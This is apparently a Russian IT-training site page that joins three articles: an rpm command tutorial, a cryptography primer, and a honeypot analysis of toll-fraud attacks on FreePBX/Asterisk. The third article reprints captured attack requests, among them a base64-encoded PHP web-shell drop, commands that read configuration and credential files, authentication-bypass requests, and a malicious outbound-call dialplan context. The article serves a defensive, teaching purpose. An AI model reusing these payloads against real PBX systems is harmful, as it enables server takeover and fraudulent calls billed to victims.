По вашему запросу ничего не найдено :(
Убедитесь, что запрос написан правильно, или посмотрите другие наши статьи:
img
RPM (Red Hat Package Manager) - это наиболее популярная утилита управления пакетами для Linux систем на базе Red Hat, таких как (RHEL, CentOS и Fedora). Она используется для установки, удаления, обновления, запроса и проверки пакетов программного обеспечения. Пакет состоит из архива файлов и информации о пакете, включая имя, версию и описание. Формат файлов также называется RPM. Есть несколько способов откуда можно взять пакеты RPM: CD/DVD с программным обеспечением, CentOS Mirror, RedHat (нужен аккаунт) или любые открытые сайты репозитория. В RPM используется несколько основных режимов команд: Install (используется для установки любого пакета RPM), Remove (используется для удаления, стирания или деинсталляции пакета), Upgrade (используется для обновления существующего пакета), Query (используется для запроса пакета) и Verify (используется для проверки пакетов RPM). Рассмотрим это на примере. У нас есть пакет, и теперь посмотрим, что мы можем с ним делать. Установка Как узнать информацию о пакете RPM без установки? После того, как мы скачали пакет мы хотим узнать информацию о пакете перед установкой. Мы можем использовать -qipoption (запрос информации о пакете), чтобы вывести информацию о пакете. $ sudo rpm -qip GeoIP-1.5.0-11.el7.x86_64.rpm Вывод: Name : GeoIP Version : 1.5.0 Release : 11.el7 Architecture: x86_64 Install Date: (not installed) Group : Development/Libraries Size : 2905020 License : LGPLv2+ and GPLv2+ and CC-BY-SA Signature : RSA/SHA256, Sun 20 Nov 2016 05:49:19 PM UTC, Key ID 24c6a8a7f4a80eb5 Source RPM : GeoIP-1.5.0-11.el7.src.rpm Build Date : Sat 05 Nov 2016 08:29:17 PM UTC Build Host : worker1.bsys.centos.org Relocations : (not relocatable) Packager : CentOS BuildSystem Vendor : CentOS URL : http://www.maxmind.com/app/c Summary : Library for country/city/organization to IP address or hostname mapping Description : GeoIP is a C library that enables the user to find the country that any IP address or hostname originates from. It uses a file based database that is accurate as of June 2007 and can optionally be updated on a weekly basis by installing the GeoIP-update package. This database simply contains IP blocks as keys, and countries as values. This database should be more complete and accurate than using reverse DNS lookups. This package includes GeoLite data created by MaxMind, available from http://www.maxmind.com/ Как установить RPM пакет? Мы можем использовать параметр -ivh для установки определенного пакета, как показано ниже. $ sudo rpm -ivh GeoIP-1.5.0-11.el7.x86_64.rpm Вывод: Preparing... ################################# [100%] package GeoIP-1.5.0-11.el7.x86_64 is already installed Как проверить установленный пакет RPM? Мы можем использовать параметр -q с именем пакета, и он покажет, установлен ли пакет или нет. $ sudo rpm -q GeoIP Вывод: GeoIP-1.5.0-11.el7.x86_64 Как вывести список всех файлов для определенного установленного пакета RPM? Мы можем перечислить все файлы установленных пакетов rpm, используя опцию -ql с командой rpm. $ sudo rpm -ql GeoIP Вывод: /etc/GeoIP.conf /etc/GeoIP.conf.default /usr/bin/geoiplookup /usr/bin/geoiplookup6 /usr/bin/geoipupdate /usr/lib64/libGeoIP.so.1 /usr/lib64/libGeoIP.so.1.5.0 /usr/lib64/libGeoIPUpdate.so.0 /usr/lib64/libGeoIPUpdate.so.0.0.0 /usr/share/GeoIP /usr/share/GeoIP/GeoIP-initial.dat /usr/share/GeoIP/GeoIP.dat /usr/share/GeoIP/GeoIPASNum.dat /usr/share/GeoIP/GeoIPASNumv6.dat /usr/share/GeoIP/GeoIPCity.dat /usr/share/GeoIP/GeoIPCityv6.dat /usr/share/GeoIP/GeoIPCountry.dat /usr/share/GeoIP/GeoIPCountryv6.dat /usr/share/GeoIP/GeoIPv6-initial.dat ... Как вывести список недавно установленных пакетов RPM? Мы можем использовать параметр -qa с параметром --last, в котором будут перечислены все недавно установленные пакеты rpm. $ sudo rpm -qa --last Вывод GeoIP-1.5.0-11.el7.x86_64 Sat 01 Sep 2019 11:34:09 AM UTC wget-1.14-15.el7_4.1.x86_64 Sun 26 Aug 2019 03:21:02 PM UTC iwl7265-firmware-22.0.7.0-62.2.el7_5.noarch Thu 16 Aug 2019 02:10:18 PM UTC libgomp-4.8.5-28.el7_5.1.x86_64 Thu 16 Aug 2019 02:10:15 PM UTC iwl2030-firmware-18.168.6.1-62.2.el7_5.noarch Thu 16 Aug 2019 02:10:15 PM UTC iptables-1.4.21-24.1.el7_5.x86_64 Thu 16 Aug 2019 02:10:15 PM UTC yum-plugin-fastestmirror-1.1.31-46.el7_5.noarch Thu 16 Aug 2019 02:10:14 PM UTC iwl6000-firmware-9.221.4.1-62.2.el7_5.noarch Thu 16 Aug 2019 02:10:14 PM UTC iwl4965-firmware-228.61.2.24-62.2.el7_5.noarch Thu 16 Aug 2019 02:10:14 PM UTC iwl105-firmware-18.168.6.1-62.2.el7_5.noarch Thu 16 Aug 2019 02:10:14 PM UTC iwl100-firmware-39.31.5.1-62.2.el7_5.noarch Thu 16 Aug 2019 02:10:13 PM UTC iwl1000-firmware-39.31.5.1-62.2.el7_5.noarch Thu 16 Aug 2019 02:10:13 PM UTC ca-certificates-2018.2.22-70.0.el7_5.noarch Thu 16 Aug 2019 02:10:13 PM UTC iwl6000g2b-firmware-17.168.5.2-62.2.el7_5.noarch Thu 16 Aug 2019 02:10:12 PM UTC ... Как установить RPM пакет без зависимостей? Мы можем использовать параметры -ivh с параметром --nodeps для проверки отсутствия зависимостей, чтобы установить конкретный пакет без зависимостей, как показано ниже. $ sudo rpm -ivh --nodeps GeoIP-1.5.0-11.el7.x86_64.rpm Вывод Preparing... ################################# [100%] Как заменить установленный пакет RPM? Мы можем использовать параметры -ivh –replacepkgs для замены установленного пакета. $ sudo rpm -ivh --replacepkgs GeoIP-1.5.0-11.el7.x86_64.rpm Вывод Preparing... ################################# [100%] Updating / installing... 1:GeoIP-1.5.0-11.el7 ################################# [100%] Удаление Как удалить пакет RPM? Мы можем использовать параметр -e для удаления определенного пакета, установленного без зависимостей. Обратите внимание, что удаление определенного пакета может нарушить работу других приложений. $ sudo rpm -e --nodeps GeoIP Обновление Как обновить установленный пакет RPM? Для обновления пакета мы используем параметры -Uvh $ sudo rpm -Uvh GeoIP-1.5.0-11.el7.x86_64.rpm Запрос Как запросить все установленные пакеты? Мы можем использовать параметры -a вместе с q для запроса всех установленных пакетов на сервере. $ sudo rpm -qa Вывод python-firewall-0.4.4.4-14.el7.noarch ncurses-base-5.9-14.20130511.el7_4.noarch plymouth-0.8.9-0.31.20140113.el7.centos.x86_64 kbd-misc-1.15.5-13.el7.noarch vim-common-7.4.160-4.el7.x86_64 bash-4.2.46-30.el7.x86_64 dmidecode-3.0-5.el7.x86_64 filesystem-3.2-25.el7.x86_64 kbd-1.15.5-13.el7.x86_64 vim-enhanced-7.4.160-4.el7.x86_64 firewalld-0.4.4.4-14.el7.noarch .... Как запросить конкретный пакет? Мы можем использовать команду grep, чтобы узнать, установлен ли конкретный пакет или нет. $ sudo rpm -qa | grep GeoIP Вывод GeoIP-1.5.0-11.el7.x86_64 Как запросить файл, который принадлежит пакету RPM? Чтобы узнать к какому пакету RPM относится файл /usr/lib64/libGeoIP.so.1.5.0. используем следующую команду. $ sudo rpm -qf /usr/lib64/libGeoIP.so.1.5.0 Вывод GeoIP-1.5.0-11.el7.x86_64 Проверка Как получить информацию для конкретного пакета? Мы можем использовать параметры -i вместе с q, чтобы получить информацию для конкретного пакета, как показано ниже. $ sudo rpm -qi GeoIP Вывод Name : GeoIP Version : 1.5.0 Release : 11.el7 Architecture: x86_64 Install Date: Thu 16 Aug 2018 02:04:09 PM UTC Group : Development/Libraries Size : 2905020 License : LGPLv2+ and GPLv2+ and CC-BY-SA Signature : RSA/SHA256, Sun 20 Nov 2016 05:49:19 PM UTC, Key ID 24c6a8a7f4a80eb5 Source RPM : GeoIP-1.5.0-11.el7.src.rpm Build Date : Sat 05 Nov 2016 08:29:17 PM UTC Build Host : worker1.bsys.centos.org Relocations : (not relocatable) Packager : CentOS BuildSystem Vendor : CentOS URL : http://www.maxmind.com/app/c Summary : Library for country/city/organization to IP address or hostname mapping Description : GeoIP is a C library that enables the user to find the country that any IP address or hostname originates from. It uses a file based database that is accurate as of June 2007 and can optionally be updated on a weekly basis by installing the GeoIP-update package. This database simply contains IP blocks as keys, and countries as values. This database should be more complete and accurate than using reverse DNS lookups. This package includes GeoLite data created by MaxMind, available from http://www.maxmind.com/ Как проверить RPM пакет? Мы можем проверить пакет, сравнив информацию об установленных файлах пакета с базой данных rpm, используя опцию -Vp. $ sudo rpm -Vp GeoIP-1.5.0-11.el7.x86_64.rpm Как проверить все пакеты RPM? Мы можем проверить все установленные пакеты rpm, используя опцию -Va $ sudo rpm -Va Вывод S.5....T. c /etc/sysconfig/authconfig S.5....T. c /etc/yum.repos.d/CentOS-Base.repo .M....... c /etc/machine-id .M....... g /etc/udev/hwdb.bin .M....... g /var/lib/systemd/random-seed .M....... c /etc/shadow S.5....T. c /etc/ssh/sshd_config .M....... c /etc/audit/rules.d/audit.rules S.5....T. c /etc/NetworkManager/NetworkManager.conf ....L.... c /etc/pam.d/fingerprint-auth ....L.... c /etc/pam.d/password-auth ....L.... c /etc/pam.d/postlogin
img
Поскольку многие люди и устройства подключаются к Интернету, и мы все обмениваемся данными, конфиденциальность является серьезной проблемой для всех. Представьте себе, что вы отправляете конфиденциальный файл другу через Интернет, но вас беспокоит, не перехватывает ли злоумышленник ваши сообщения и не просматривает ли он их. Для обеспечения безопасности ваших данных используется криптография, гарантирующая, что доступ к данным имеет только уполномоченное лицо. С помощью криптографии мы можем шифровать наши сообщения, чтобы сохранить их в тайне от несанкционированных сторон, таких как злоумышленники. Даже если злоумышленник сможет перехватить наши зашифрованные данные, он не сможет просмотреть содержимое зашифрованного сообщения. В этой статье вы узнаете о различных стандартах и алгоритмах шифрования и о том, как они используются для обеспечения конфиденциальности данных в сети. Кроме того, вы узнаете о методах, которые злоумышленники используют для получения секретного ключа и дешифрования. Кроме того, вы узнаете о различных методах хеширования, которые используются для проверки целостности данных. Затем вы изучите как симметричные, так и асимметричные алгоритмы, а также инфраструктуру открытых ключей (Public Key Infrastructure - PKI). Понимание необходимости криптографии В мире информационной безопасности конфиденциальность данных - очень актуальная тема. Все обеспокоены тем, как используются их данные и какие меры безопасности используются для защиты их данных в системах и сетях. В компьютерном мире криптография применяется для защиты наших данных от посторонних лиц. Что такое криптография? Это методы кодирования чувствительной информации с помощью математических алгоритмов, которые затрудняют понимание результата другими людьми, кроме тех, кто уполномочен. Криптография уже много лет используется различными военными организациями для защиты их связи. Сегодня, в эпоху цифровых технологий, мы используем криптографию, чтобы защитить коммуникации между источником и получателем. Чтобы лучше понять, представьте, что вы создаете документ на своем компьютере. Если кто-либо получит доступ к документу, он сможет прочитать его содержимое, и для этого документа нет никакого уровня конфиденциальности. Для защиты данных может применяться процесс шифрования для преобразования данных в формат, доступный для чтения только вам и тем, кто имеет соответствующие полномочия. Это означает, что, если злоумышленник получит зашифрованный файл, то не сможет прочитать фактическое содержимое файла, но увидит зашифрованное сообщение. Любые данные (сообщения), которые не зашифрованы, называются открытым текстом. Если кто-то получит доступ к открытому тексту, он сможет прочитать его содержимое. Чтобы зашифровать сообщение, открытый текст обрабатывается специальным алгоритмом, который преобразует сообщение с открытым текстом в нечитаемый формат. Этот алгоритм называется шифром. Шифр также использует ключ для выполнения процесса шифрования, чтобы преобразовать сообщение в зашифрованный текст. Зашифрованный текст - это зашифрованный формат открытого текста, который не может прочитать никто, кроме тех, кто имеет к нему доступ. Ключ используется в процессе шифрования, поскольку он добавляет дополнительный уровень безопасности к зашифрованному тексту. Без ключа злоумышленник не сможет выполнить криптоанализ, который представляет собой метод, используемый для дешифровки, взлома или шифрования данных. На следующем рисунке показан процесс криптографии: Шифрование данных и криптография играют важную роль в современном мире. Мы используем криптографию для защиты данных в состоянии покоя и данных в движении (при передаче). Данные в состоянии покоя - это терминология, используемая для описания данных, которые хранятся на носителе без доступа приложения или пользователя, в то время как данные в движении - это данные, которые передаются от источника к месту назначения, например, по сети. Существует множество технологий шифрования, таких как Microsoft BitLocker, Apple FileVault и Linux Unified Key Setup (LUKS), которые встроены в их собственные операционные системы. Эти собственные технологии шифрования позволяют пользователю создать логический зашифрованный контейнер хранения в своей операционной системе. Пользователи могут помещать файлы в контейнер и шифровать их, блокируя контейнер. Этот метод позволяет пользователям защитить свои данные в состоянии покоя от любых злоумышленников, которые могут поставить под угрозу компьютер жертвы. Существует множество безопасных и небезопасных сетевых протоколов, которые передают ваши данные по сети. Небезопасные сетевые протоколы не шифруют ваши данные и передают их в виде открытого текста. Если злоумышленник сможет перехватить сетевые пакеты, злоумышленник сможет увидеть все ваши сообщения в виде открытого текста. В следующем рисунке показан захват пакета, содержащего трафик Telnet внутри Wireshark: Представьте, что вы являетесь злоумышленником. Вы можете использовать такой инструмент, как Wireshark, для повторной сборки всех пакетов, показанных на предыдущем рисунке, между исходным и конечным хостами. Это позволит вам увидеть весь сетевой диалог между источником (192.168.0.2) и получателем (192.168.0.1) следующим образом: Как показано на предыдущем скриншоте, мы можем видеть диалог между клиентом и сервером Telnet. Содержимое, красного цвета, - это то, что отправляется от клиента на сервер, в то время как содержимое, синего цвета, - это то, что отправляется с сервера обратно клиенту. Wireshark имеет функцию отслеживания потока пакетов и представления информации в виде преобразования для нас в удобочитаемом формате. На скриншоте обратите внимание, что мы можем видеть логин и пароль пользователя для входа, который отправляется по сети с помощью Telnet. Элементы криптографии Многие думают, что криптография используется для шифрования данных в компьютерном мире. Это утверждение верно, но криптография также имеет дополнительные ключевые преимущества для защиты данных, такие как: Конфиденциальность Целостность Аутентификация источника Невозможность отказа от отвественности Конфиденциальность определяется как сохранение чего-либо, например, объекта или данных, в тайне от посторонних лиц. В вычислительном мире этого можно достичь с помощью алгоритмов шифрования данных, просто зашифровав текстовое сообщение с помощью шифра и ключа. Если неавторизованное лицо или злоумышленник получает зашифрованные данные (зашифрованный текст) без ключа, то он не сможет расшифровать зашифрованное сообщение. Конфиденциальность позволяет нам отправлять защищенные сообщения (данные) между источником и получателем без необходимости беспокоиться о том, перехватывает ли кто-то наши логины и пароли во время их передачи по сети. Шифрование данных позволяет нам защитить наши данные от различных типов атак, таких как Man in the Middle (MiTM). Как только данные будут зашифрованы, злоумышленник не сможет просматривать содержимое фактических данных. Целостность играет жизненно важную роль в области информационной безопасности. Это помогает нам определить, изменяются ли данные или нет, когда они передаются от источника к месту назначения. В эпоху цифровых технологий пользователи всегда отправляют сообщения определенного типа между одним устройством и другим. Даже операционная система на хост-устройствах всегда обменивается информацией в сети. Представьте, что вы отправляете сообщение другу через мессенджер на вашем смартфоне. Как ваш друг узнает, что сообщение не было изменено неавторизованным лицом в процессе передачи? Это серьезная проблема, и, к счастью, существует метод, известный как хеширование, который позволяет устройству проверять целостность входящего сообщения (данных) от источника. Аутентификация - это процесс подтверждения вашей личности в системе. Без аутентификации любой человек сможет получить доступ к устройству и выполнять любые действия без какой-либо ответственности. В криптографии аутентификация используется для того, чтобы помочь нам проверить и подтвердить источник или отправителя сообщения, что называется аутентификацией источника. Сообщение может быть подписано цифровой подписью с помощью цифрового сертификата, принадлежащего отправителю. Когда адресат получает сообщение, получатель может использовать информацию, содержащуюся в цифровом сертификате источника, для проверки подлинности сообщения. Другими словами, чтобы определить, действительно ли сообщение исходило от отправителя, а не от злоумышленника. Невозможность отказа от ответственности (Non-repudiation) используется для предотвращения отрицания пользователем того, что он выполнили какое-либо действие. Типичный пример: представьте, что во время обеда вы посещаете местную кофейню, чтобы выпить напиток. В кассе вы создаете заказ, производите оплату и получаете счет с заказанными вами товарами. Вся информация о транзакции, которую вы только что завершили, печатается в квитанции (счете), такая как время и дата, количество и тип товаров, имя кассира и местонахождение отделения. Эта информация также записывается в базе данных кофейни, поэтому вы не сможете отрицать свое посещение и покупку в этом магазине. Теперь немного обсудим характеристики различных типов шифров, которые используются в алгоритмах шифрования данных. Шифр подстановки В каждом типе алгоритма шифрования (шифра) используется секретный ключ, обеспечивающий конфиденциальность сообщения. В шифре подстановки секретный ключ - это смещение буквы в исходном сообщении. Это означает, что количество букв в текстовом сообщении не изменяется после того, как оно проходит через шифр и становится зашифрованным текстом. Чтобы лучше понять, как работает шифр подстановки, давайте взглянем на очень известный шифр, шифр Цезаря, который существует уже довольно давно. Его методы шифрования просто сдвигают букву алфавита. Шифрование с использованием ключа k = 3. Буква «Е» «сдвигается» на три буквы вперёд и становится буквой «З». Твёрдый знак, перемещенный на три буквы вперёд, становится буквой «Э», и так далее: Исходный алфавит: АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ Шифрованный: ГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯАБВ Оригинальный текст: Съешь же ещё этих мягких французских булок, да выпей чаю. Шифрованный текст получается путем замены каждой буквы оригинального текста соответствующей буквой шифрованного алфавита: Фэзыя йз зьи ахлш пвёнлш чугрщцкфнлш дцосн, жг еютзм ъгб. Поэтому, если злоумышленник перехватит зашифрованный текст во время передачи по сети, не зная секретного ключа, то сообщение останется в безопасности. Перестановочный шифр Другой тип шифра - перестановочный шифр. Этот шифр не сдвигает ни одной буквы сообщения. Он просто переставляет буквы в каждом слове. Один тип перестановочного шифра известен как столбчатый шифр транспонирования. Этот шифр сохраняет одни и те же буквы каждого слова на месте, но создает столбец фиксированного размера. Рассмотрим простой текст hello world, и давайте применим технику простого столбчатого преобразования, как показано ниже Символы простого текста располагаются горизонтально, а зашифрованный текст создается в вертикальном формате: holewdlolr. Теперь получатель должен использовать ту же таблицу, чтобы расшифровать зашифрованный текст в обычный текст. Другой разновидностью перестановочного шифра является шифр рельсового ограждения. Этот шифр записывает выходные данные в зигзагообразном формате. Например, результат записывается по диагонали, начиная слева направо. Используя наш пример предложения, thequickbrownfoxjumpsoverthelazydog (без пробелов), еще раз в качестве нашего открытого текста и ключа в виде трех рельсов, мы получим следующий результат в данном типе шифрования: На предыдущем рисунке, показано, как слова написаны по диагонали. Чтобы создать зашифрованный текст, сообщение читается от верхней строки до последней строки. Это создаст следующий зашифрованный текст: tubnjsrldhqikrwfxupoeteayoecoomvhzg И снова, если злоумышленник перехватит зашифрованный текст, сообщение останется в безопасности до тех пор, пока злоумышленник не узнает (получит) секретный ключ.
img
Привет друг! Ты наверняка слышал что-то про взлом IP-АТС, когда злоумышленники звонят в другие страны по международной связи, а жертве приходит большой счёт от провайдера. К большому сожалению – это правда и сейчас я по косточкам разберу метод такой атаки на IP-АТС Asterisk с графической оболочкой FreePBX, который позволяет плохим парням бесчестно наживаться на чужих ошибках, чтобы ты мог защитить себя и не стать очередной жертвой, за счёт которой позвонили в Сомали. TL;DR: Графический интерфейс FreePBX имеет уязвимости удаленного исполнения кода (RCE – Remote Code Execution), в различных компонентах. Вот некоторые из них: CVE-2014-7235 – Уязвимость в ARI Framework (Asterisk Recording Interface - ARI) в FreePBX версий 2.9.0.9, 2.10.x, и 2.11 до 2.11.1.5. SEC-2016-004 - Уязвимость с модулях Hotel Wakeup (все версии между 13.0.1alpha2 и 13.0.14) и System Recordings (все версии между 13.0.1beta1 и 13.0.26) CVE-2019-19006 (SEC-2019-001) – Уязвимость Framework FreePBX в версиях ниже v13.0.197.13, v14.0.13.11 и v15.0.16.26 Все эти уязвимости позволяют удаленно обойти процесс аутентификации (ну то есть не надо вводить логин и пароль) и выполнять команды на сервере с проблемной версией софта. Злоумышленники используют данные уязвимости для совершения исходящих звонков через свой контекст. Это значит, что если ты оставишь вэб-морду FreePBX открытой всему Интернету (по умолчанию порт 80 HTTP, 443 HTTPS), то рано или поздно – за твой счёт позвонят другие. Так что НИКОГДА не открывай доступ веб-интерфейсу своей IP-АТС для всего Интернета, и вообще старайся ограничивать доступ к любым портам. А также ВСЕГДА обращай внимание на уведомление об обнаруженных уязвимостях и своевременно устанавливай обновления безопасности на всех продуктах! Но если ты всё же решил оставить свой FreePBX с открытым web-портом и забить на обновления – читай что будет дальше. Разведка (Reconnaisance) Прежде чем достичь своей цели (позвонить за твой счёт) злоумышленникам нужно сначала отыскать твой открытый веб-интерфейс FreePBX в сети. Сделать это очень просто, нужно просканировать порты. Для нашей атаки ему нужно найти порт 80 (HTTP), 443 (HTTPS) ну или 8080. Именно на них обычно висит страничка с аутентификацией. Отлично, нашли кучу адресов с торчащим наружу нужным портом, но как понять, что там именно FreePBX с уязвимой версией софта? Есть несколько способов – можно бить по всему подряд в надежде, что сервер уязвим, можно написать скрипт, который будет собирать дополнительную информацию (так называемые баннеры) о версии FreePBX. По умолчанию – установленная версия отображается на той же страничке с окном аутентификации. Давайте откроем лог HTTP-обращений к нашему серверу (его можно найти вот тут: /var/log/httpd/access_log) и посмотрим, как действуют злоумышленники. Чтобы воочию наблюдать за тем как нас ломают, мы создали, так называемую ловушку (Honeypot) – это намеренно непропатченный, уязвимый сервер для того чтобы изучать действия хакеров. Мы установили на него FreePBX 13 версии и выставили наружу вэб-интерфейс (открыли всему миру 80 и 443 порты) Примерно через час после “открытия” нашей ловушки, мы увидели такую картину: На картинке показаны обращения к ресурсам нашего сервера (11.22.33.44), ответы от него и User-Agent’ы, с которых осуществлялись обращения. Например, рассмотрим следующее обращение: 169.197.108.42 - - [30/May/2020:11:35:57 +0300] "GET /admin HTTP/1.1" 301 316 "https://11.22.33[.]44/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" Здесь: 169.197.108[.]42 – адрес, с которого осуществлялось обращение; GET /admin - запрос страницы https://11.22.33[.]44/admin; 301 – ответ HTTP 302 (Moved Permanently – Перемещено навсегда). Ответ сервера, означающий, что запрашиваемый ресурс (страница https://11.22.33[.]44/admin ) был перемещен; "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" - User Agent Google Chrome версии 60 для Windows 10. Это значит, что для доступа к ресурсу https://11.22.33[.]44/admin был использован браузер Chrome. Для большей наглядности, мы выделили счастливчиков, которые нашли то, что искали (им сервер ответил 200 ОК и вернул запрашиваемую информацию). В их числе: 169.197.108[.]42 198.108.66[.]192 45.143.221[.]50 173.212.225[.]214 45.143.220[.]111 Если присмотреться внимательнее, то можно увидеть, что все они нашли одно и то же - /admin/config.php, но давайте посмотрим на действия 173.212.225[.]214. Обратите внимание, что он также пытается обращаться к ресурсам явно не относящимся к FreePBX (/vtigercrm/vtigerservice.php, /a2billing/admin/Public/index.php), а когда находит /admin/config.php , сразу же безуспешно пытается исполнить интересный скрипт: /rr.php?yokyok=cat%20/etc/amportal.conf;%20cat%20/etc/asterisk/sip_additional.conf HTTP/1.1" 404 284 "-" "libwww-perl/6.42" /admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0" /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 403 43 "https://11.22.33.44:443//admin/config.php?display=cli" "python-requests/2.22.0" /admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0" Доставка (Delivery) Эти обращения – есть ни что иное как попытка создания скрипта на нашей IP-АТС для совершения исходящих звонков. Однако хоть нас и обнаружили, злоумышленнику не удаётся обратиться к нужному компоненту – скрипту /rr.php, сервер отвечает сообщением HTTP 403 (Forbidden). Обратите также внимание на User-agent’ы - python-requests/2.22.0 и libwww-perl/6.42. Это уже не просто браузеры, а WWW библиотеки Pearl и Python. Позднее, кому-то на адресе 45.143.220[.]111 всё-таки удаётся создать /rr.php. Для этого используется уже немного другой User-Agent - "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64". Создание rr.php происходит после ввода: "GET /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 200 32 "https://11.22.33[.]44//admin/config.php?display=cli" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64" Само содержимое скрипта rr.php зашифровано по алгоритму base64 и скрыто вот в этой короткой строчке: 20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg Вот дешифровка: Этот небольшой php скрипт нам кладут в директорию /var/www/html/, а дальше начинается самое интересное. Заметили строчку config.php?display=cli? Да, злоумышленники успешно получили доступ к командной строке и теперь могут делать что душе угодно! Обратите внимание на смену User Agent’а в 16:17:53 – "curl/7.29.0". Это значит, что кто-то через утилиту curl (скорее всего через ту самую командную строку) лезет куда-то ещё. Давайте выясним – зачем? Инсталляция (Installation) Для этого откроем другой лог /var/log/httpd/error_log и посмотрим, что происходило за время использования curl. В глаза сразу же бросается обращение на Pastebin (сайт, куда можно загружать любой текст или код для просмотра всем желающим) по ссылке /raw/Dbnw6kqb. Перейдя по данной ссылке нас встречает уже знакомая кодировка base64, причём код зачем-то повторяется дважды: Расшифруем: Вся эта радость сохраняется по пути /var/www/html/badr.php На самом деле, вариаций этого скрипта довольно много, иногда он скачивается по частям с разных сайтов, иногда в нём можно обнаружить попытки затирания свидетельств компрометации. Как видите, они весьма похожи и их суть довольно проста - украсть наш конфиг Amportal (всю конфигурацию FreePBX с паролями ARI и AMDB), чтобы затем подсунуть нам измененный файл /etc/amportal.conf и собственно создать вредоносный контекст, через который потом можно будет звонить. Управление (Command & Control) Мы, а точнее плохие парни, почти на финишной прямой. Помнишь про простенький вредоносный скрипт rr.php, который нам недавно подсунули? Самое время вернуться к нему! Напомню – это простенький php-скрипт, который просит всего одну переменную - yokyok и позволяет передать в неё абсолютно любой параметр. Пользуясь этой замечательной возможностью, хакеры передают туда (время 16:17:51 и 54) измененный конфигурационный файл /etc/amportal.conf и изменённый файл /etc/asterisk/sip_additional.conf. Как можно догадаться – в sip_additional.conf у нас теперь есть вредоносный контекст, который и позволит злоумышленникам звонить за наш счёт. Вот он: [badr-outcall]; thankuohoh exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh exten => _.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})}); thankuohoh exten => _.,n,Set(_NODEST=); thankuohoh exten => _.,n,Macro(dialout-trunk,1,${EXTEN},,on); thankuohoh exten => _.,n,Macro(dialout-trunk,2,${EXTEN},,on); thankuohoh exten => _.,n,Macro(dialout-trunk,3,${EXTEN},,on); thankuohoh exten => _.,n,Macro(dialout-trunk,7,${EXTEN},,on); thankuohoh exten => _.,n,Macro(outisbusy,); thankuohoh PROFIT (Actions on Objectives) Ну чтож, как говорится: Как ты, наверное, уже понял – звонить они тоже будут через rr.php и yokyok. Захотели позвонить в Уганду или на Сейшельские острова? Пожалуйста: 45.143.220.111 - - [31/May/2020:16:25:14 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/810256207815086@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05" 45.143.220.111 - - [31/May/2020:16:55:06 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/8102486420077@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05" А ты потом будешь наблюдать в CDR Reports такую картинку и платить провайдеру по счетам: Ну хоть “спасибо” сказали. Ты же заметил, как называется контекст, который нам сделали - thankuohoh? Жаль нельзя прослушать о чём они там говорили.. ? Ну, а если не хочешь, чтобы и твой Asterisk тоже достался хакерам – скорее беги закрывать 443, 80, 8080 и устанавливать последние обновления безопасности! PS: Кстати, нашу ловушку явно пробили через уязвимость CVE-2019-19006 (SEC-2019-001): [SECURITY] (BMO/Notifications.class.php:507) - [NOTIFICATION]-[freepbx]-[VULNERABILITIES] - There is 1 module vulnerable to security threats (framework (Cur v. 13.0.195.4) should be upgraded to v. 13.0.197.14 to fix security issues: SEC-2019-001 [INFO] (bin/module_admin:631) - framework 13.0.195.4 Online upgrade available (13.0.197.14)
ВЕСЕННИЕ СКИДКИ
40%
50%
60%
До конца акции: 30 дней 24 : 59 : 59